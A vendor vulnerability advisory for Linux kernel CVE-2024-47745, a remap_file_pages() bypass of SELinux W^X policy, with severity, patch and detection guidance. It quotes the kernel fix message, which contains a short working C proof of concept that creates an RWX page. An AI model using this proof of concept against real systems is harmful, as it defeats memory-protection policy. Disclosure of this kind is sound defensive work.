CVE-2024-47745·Kernel vulnerability
In the Linux kernel, the following vulnerability has been resolved: mm: call the security_mmap_file() LSM hook in remap_file_pages() The remap_file_pages syscall handler calls do_mmap() directly, which doesn't contain the LSM security check. And if the process has called personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for RW pages, this will actually result in remapping the pages to RWX, bypassing a W^X policy enforced by SELinux. So we should check prot by security_mmap_file LSM hook in the remap_file_pages syscall handler before do_mmap() is called. Otherwise, it potentially permits an attacker to bypass a W^X policy enforced by SELinux. The bypass is similar to CVE-2016-10044, which bypass the same thing via AIO and can be found in [1]. The PoC: $ cat > test.c int main(void) { size_t pagesz = sysconf(_SC_PAGE_SIZE); int mfd = syscall(SYS_memfd_create, "test", 0); const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, MAP_SHARED, mfd, 0); unsigned int old = syscall(SYS_personality, 0xffffffff); syscall(SYS_personality, READ_IMPLIES_EXEC | old); syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0); syscall(SYS_personality, old); // show the RWX page exists even if W^X policy is enforced int fd = open("/proc/self/maps", O_RDONLY); unsigned char buf2[1024]; while (1) { int ret = read(fd, buf2, 1024); if (ret <= 0) break; write(1, buf2, ret); } close(fd); } $ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted) [PM: subject line tweaks]
- Severity
- high
- Software
- Kernel
- Fixed in
- 6.11.2
- Published
How likely is exploitation
FIRST's Exploit Prediction Scoring System puts the probability of this CVE being exploited in the next 30 days at <0.1% — in the bottom 1% of all published CVEs. EPSS is an independent forecast of exploitation, not a severity rating: it says nothing about how much damage a successful attack does, which is what a CVSS score measures.
Read the two together. CVE-2024-47745 scores 7.8 on CVSS, so a successful attack would be serious — but at <0.1%, almost nobody is currently attempting it. That is a different situation from a flaw under mass exploitation, and it is usually the difference between patching on your next maintenance window and patching tonight.
Affected versions
From: 6.11
Until: 6.11.2
Fixed in: 6.11.2
How to fix this CVE
Update your Linux kernel to version 6.11.2 or later to patch the remap_file_pages() LSM hook bypass. This fix ensures that security_mmap_file() LSM checks are properly enforced before memory remapping operations, preventing attackers from circumventing W^X (write-xor-execute) policies enforced by SELinux. Systems running kernel versions 6.11 through 6.11.1 should be prioritized for patching.
sudo dnf check-update kernel && sudo dnf update kernelDefensia detects this vulnerability
How to check if you are affected
- Run 'uname -r' to determine your installed kernel version and verify if it falls between 6.11 and 6.11.1
- Check if SELinux is enabled on your system with 'getenforce' and verify your security policy configuration with 'sestatus'
- Search kernel logs for remap_file_pages syscall activity using 'grep -i remap /var/log/audit/audit.log' or check dmesg for LSM denial messages
- After applying the kernel update, run 'uname -r' again and verify the version is 6.11.2 or later, then reboot if required
FAQ
What is CVE-2024-47745?
CVE-2024-47745 is a kernel vulnerability where the remap_file_pages() syscall bypasses LSM security checks, allowing an attacker to convert read-write memory pages to read-write-execute (RWX) and circumvent W^X policies enforced by SELinux.
Is CVE-2024-47745 being actively exploited?
No, according to CISA KEV data, CVE-2024-47745 is not currently being actively exploited in the wild, and no public exploits are widely available.
What versions of Kernel are affected by CVE-2024-47745?
Linux kernel versions 6.11 through 6.11.1 are affected by this vulnerability. Version 6.11.2 and later contain the security fix.
How do I check if my server is vulnerable to CVE-2024-47745?
Run 'uname -r' to check your kernel version; if it shows 6.11.0 or 6.11.1, your system is vulnerable. Additionally, verify if SELinux is active with 'getenforce' to determine if you are affected by the W^X policy bypass.
Does Defensia detect CVE-2024-47745?
Yes — Defensia's CVE advisory scanner compares installed package versions against the NVD database. If the Linux kernel is installed on a monitored server, CVE-2024-47745 will appear in your dashboard with remediation steps.
Related Kernel CVEs
References
- https://git.kernel.org/stable/c/0f910dbf2f2a4a7820ba4bac7b280f7108aa05b1
- https://git.kernel.org/stable/c/3393fddbfa947c8e1fdcc4509226905ffffd8b89
- https://git.kernel.org/stable/c/49d3a4ad57c57227c3b0fd6cd4188b2a5ebd6178
- https://git.kernel.org/stable/c/ce14f38d6ee9e88e37ec28427b4b93a7c33c70d3
- https://git.kernel.org/stable/c/ea7e2d5e49c05e5db1922387b09ca74aa40f46e2
Track CVEs across your fleet automatically
Defensia scans your Linux servers and tells you exactly which ones are running vulnerable versions — including CVE-2024-47745. Free for 1 server.
Get started free